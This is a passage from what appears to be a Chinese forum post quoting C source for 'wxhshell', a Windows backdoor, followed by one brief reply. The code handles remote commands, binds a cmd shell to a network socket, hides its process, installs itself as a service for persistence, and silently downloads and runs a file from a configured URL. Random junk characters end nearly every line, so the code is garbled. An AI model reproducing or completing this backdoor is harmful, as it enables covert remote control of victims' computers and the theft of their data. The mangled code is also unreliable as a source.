  if(DownloadFile(cmd,wsh)) tg-U x  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); m#1 >y}  
  else !xk`oW  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .8e]-^Z  
  } iMjoa tt  
  else { !ij R  
0Xo>f"2<f  
    switch(cmd[0]) { ;E:vsVK  
  &n$kVNE  
  // 帮助 Iue}AGxu:{  
  case '?': { nilis-Bk_  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); I]Ev6>=;  
    break; ]Q0m]OaT  
  } ~&HP }Q$#f  
  // 安装 2iM]t&^<+  
  case 'i': { ]bxBo  
    if(Install()) ncTPFv H5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wN NXUW  
    else @=_4i&]$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I;1W6uD=  
    break; |BGB60}]f  
    } O|K-UTWH%  
  // 卸载 MrjgV+P}[  
  case 'r': { 5"sd  
    if(Uninstall()) +pUG6.j%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W4Z8U0co  
    else mR,w~wP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {E=BFs  
    break; $, hHR:  
    } zUuOX5-6x  
  // 显示 wxhshell 所在路径 gGZ-B<  
  case 'p': { 5 EhOvt8  
    char svExeFile[MAX_PATH]; 3JYhF)G  
    strcpy(svExeFile,"\n\r"); :1asY:)vNP  
      strcat(svExeFile,ExeFile); B(|*u  
        send(wsh,svExeFile,strlen(svExeFile),0); Gh%R4)}  
    break; u ,R R|/@  
    } 5 w-Pq&q  
  // 重启 $8>kk  
  case 'b': { hgg 8r#4q  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); OQ(w]G0LP  
    if(Boot(REBOOT)) +Vv+<M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l bs0i  
    else { Xwp6]lx  
    closesocket(wsh); mH.c`*  
    ExitThread(0); wqxChTbs  
    } 0oK_uY 4g  
    break; >}T}^F  
    } '\B0#z3  
  // 关机 r 4 $<,~  
  case 'd': { rEHlo[7^  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); o|G'vMph  
    if(Boot(SHUTDOWN)) $^:s)Yv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qm_IU!b  
    else { WOg pDs  
    closesocket(wsh); 2dsXG$-W2  
    ExitThread(0); =jEVHIYt  
    } ^[x6p}$  
    break; Ab #}BHI  
    } v6U Gr4  
  // 获取shell *{:Zdg'~E  
  case 's': { 5GK> ~2c(  
    CmdShell(wsh); 'XJqh|G  
    closesocket(wsh); LZtO Q__B)  
    ExitThread(0); &|-jU+r}B  
    break; ?B+]Ex(\B,  
  } {x,d9I  
  // 退出 d\ I6Wn  
  case 'x': { |.*nq  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); GIb,y,PDB  
    CloseIt(wsh); &w!(.uDO  
    break; 8]K+,0m6  
    } )%q!XM  
  // 离开 Tw,|ZA4XH  
  case 'q': { 6E@TcN~ ,!  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); A$g'/QM  
    closesocket(wsh); j/t)=c  
    WSACleanup(); T mK[^  
    exit(1); K 0e*K=UM  
    break; 3xk- D &"  
        } Spu> ac  
  } s6F0&L;N&  
  } M3U?\g  
`]`S"W7&  
  // 提示信息 U?%T~!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -zg 6^f_pW  
} /HH_Zi0?N|  
  } .wV-g:2  
?o1QjDG  
  return; b_&:tE--]  
} k4d;4D?  
w~C\5 i  
// shell模块句柄 -x{@D{Q%  
int CmdShell(SOCKET sock) ,. zHG  
{ I`77[  
STARTUPINFO si; `_()|;!y  
ZeroMemory(&si,sizeof(si)); o)f$ 7.  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; tkYPfUvTE  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; cOf.z)kf6  
PROCESS_INFORMATION ProcessInfo; \kZ@2.pN  
char cmdline[]="cmd"; $."D OZQ3U  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ekW#|  
  return 0; n8E3w:A-  
} 6u'E}hAx|  
-d9L  
// 自身启动模式 rf^ u&f  
int StartFromService(void) u9{SG^  
{ s)jNP\-  
typedef struct `PZ\3SC'i  
{ 4/V;g%0uN;  
  DWORD ExitStatus; ;}lsD1S:  
  DWORD PebBaseAddress; J%]5C}v \  
  DWORD AffinityMask; 1#3eY? Nb  
  DWORD BasePriority; ^-L nO%h?  
  ULONG UniqueProcessId; n&!q9CR`  
  ULONG InheritedFromUniqueProcessId; Z;z,dw  
}   PROCESS_BASIC_INFORMATION; m 7S`u  
27i-B\r  
PROCNTQSIP NtQueryInformationProcess; l_s#7.9$  
x~i\*Ox^  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; DS+BX`i%#p  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _ FNW[V  
OHwH(}H?  
  HANDLE             hProcess; D9  Mst6  
  PROCESS_BASIC_INFORMATION pbi; ~W-l|-eogz  
f %3MDI  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /2''EF';  
  if(NULL == hInst ) return 0; 1,Es'  
Ey.%: O-Dv  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); KjMwrMgC  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); n<P&|RTZ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); qm<-(Qc(W  
8`s*+.LI!  
  if (!NtQueryInformationProcess) return 0; _%3p&1ld  
XqU0AbQ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); FJq g,  
  if(!hProcess) return 0; Sz:PeUr9h  
+f$ {r7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1,:QrhC  
,k1ns?i9KH  
  CloseHandle(hProcess); p-m\0tQ  
iMv):1p>8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); D^xg2D  
if(hProcess==NULL) return 0; P1z:L  
}~Do0XUH  
HMODULE hMod; \?wKs  
char procName[255]; 1h|qxYO  
unsigned long cbNeeded; Pc`)D:/}R  
p(-EtxP  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *Kpw@4G   
*ZV3]ig2$  
  CloseHandle(hProcess); .AQTUd(_  
qfdL *D  
if(strstr(procName,"services")) return 1; // 以服务启动 qo}yEl1  
PdEPDyFkh  
  return 0; // 注册表启动 :fDzMD  
} q6hH]Q>w*  
NiEz3ODSi  
// 主模块 Xq_h C"s  
int StartWxhshell(LPSTR lpCmdLine) 2s=zT5  
{ GDs/U1[*  
  SOCKET wsl; r"7 PSJ  
BOOL val=TRUE; tJ* /5k &  
  int port=0; Q E pCU)  
  struct sockaddr_in door; Xg l %2'  
mhM;`dl  
  if(wscfg.ws_autoins) Install(); &G[W$2`@  
f'MRC \  
port=atoi(lpCmdLine); qJJ 5o?'  
A k~|r#@  
if(port<=0) port=wscfg.ws_port; t\]kVo)  
'SXLnoeTa  
  WSADATA data; ;1s;"  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]<ay_w;  
mE=Tj%+ x  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   2"k|IHs1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); H@1qU|4  
  door.sin_family = AF_INET; -GCU6U|  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); R5mb4  
  door.sin_port = htons(port); V6+:g=@U-l  
4jlwu0L+  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { mI\[L2x  
closesocket(wsl); >l=jJTJ;q  
return 1; rLY I\  
} I. Xbowl  
Hq~SRc~  
  if(listen(wsl,2) == INVALID_SOCKET) { ?r*}1WsH  
closesocket(wsl); ' R2*3<  
return 1; +3M1^:  
} a^^OI|?  
  Wxhshell(wsl); 1FG"Ak}D  
  WSACleanup();  $C,` ^n'  
/cVZ/"  
return 0; VD $PoP  
 %{UW!/  
} zo8&(XS  
*=]UWM~]  
// 以NT服务方式启动 _RS CyV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) f =A#:d  
{ \ [M4[Qlq  
DWORD   status = 0; "rc QS H  
  DWORD   specificError = 0xfffffff; ,&s"f4Mft  
RQu[FZT,  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [z*1#lj S  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 0+)1K U)I  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @ *uZ+$  
  serviceStatus.dwWin32ExitCode     = 0; D51s)?  
  serviceStatus.dwServiceSpecificExitCode = 0; Z^Wv(:Nr  
  serviceStatus.dwCheckPoint       = 0; %tPy]{S..  
  serviceStatus.dwWaitHint       = 0; aI|X~b  
KU Mk:5 c  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); M$Rh]3vqR  
  if (hServiceStatusHandle==0) return; L^PBcfg  
a1ps'^Qhh  
status = GetLastError(); 6OJhF7\0&  
  if (status!=NO_ERROR) XWX]/j2jA  
{ DwK$c^2q{.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; B/mfm 7  
    serviceStatus.dwCheckPoint       = 0; D(Q]ddUi'  
    serviceStatus.dwWaitHint       = 0; naA8RD5/  
    serviceStatus.dwWin32ExitCode     = status; sO!m,pK(  
    serviceStatus.dwServiceSpecificExitCode = specificError; |9BX  ~`{  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); c>T)Rc  
    return; LF)wn -C}  
  } 0bD\`Jiv,  
Au{b1n  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 90-s@a3B-j  
  serviceStatus.dwCheckPoint       = 0; R:ecLbC  
  serviceStatus.dwWaitHint       = 0; knfmJUT  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); JV8*;n%}-  
} g&Uu~;jq]  
g $^Yv4  
// 处理NT服务事件,比如:启动、停止 )cL`$h4DD  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 8A/rkoht*  
{ P)hGe3  
switch(fdwControl) d/@P;YN!  
{ yn20*ix{  
case SERVICE_CONTROL_STOP: *y` (^kyS  
  serviceStatus.dwWin32ExitCode = 0; kw7E<aF!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; U'~]^F%eyu  
  serviceStatus.dwCheckPoint   = 0; m( %PZ*s  
  serviceStatus.dwWaitHint     = 0; (/9erfuJ  
  { J/,m'wH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I>6zX  
  } m;TekJXm  
  return; W&[-QM8  
case SERVICE_CONTROL_PAUSE: &' y}L'  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; B?e] Ht  
  break; r%>7n,+o  
case SERVICE_CONTROL_CONTINUE: OHnsfXO_V  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; glkH??S  
  break; 7j(gW  
case SERVICE_CONTROL_INTERROGATE: 8wEJyAu2  
  break; PCa0I^d  
}; bweAmSs  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); SLH;iqPT  
} 83aWMmA(1  
^>eV}I5ak  
// 标准应用程序主函数 u6:$AA  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +1\t 0P24  
{ G_WHW(8   
W@%g_V}C*  
// 获取操作系统版本 o3NB3@uj<  
OsIsNt=GetOsVer();  `=B v+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); u@`y/,PX  
Df]*S  
  // 从命令行安装 oh9L2"  
  if(strpbrk(lpCmdLine,"iI")) Install(); >7 cDfv"  
E}#&2n8Y  
  // 下载执行文件 KFaYn  
if(wscfg.ws_downexe) { |@f\[v9`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ICc:k%wE7  
  WinExec(wscfg.ws_filenam,SW_HIDE); rZ.z!10  
} o,?h}@  
*D`$oK,U  
if(!OsIsNt) { 6TXTJ]er  
// 如果时win9x,隐藏进程并且设置为注册表启动 7&w[h4Lw  
HideProc(); n;:C{5  
StartWxhshell(lpCmdLine); =rkW325O  
} u_8Z^T  
else ^i8(/iwdJE  
  if(StartFromService()) }}"|(2I  
  // 以服务方式启动 Gq%,'am f  
  StartServiceCtrlDispatcher(DispatchTable); PIoBKCJ  
else 23a:q{R  
  // 普通方式启动 |1e//*  
  StartWxhshell(lpCmdLine); }KNBqPo4B  
ZqjLZ9?q  
return 0; ()n2 KT  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
10+5=?,请输入中文答案:十五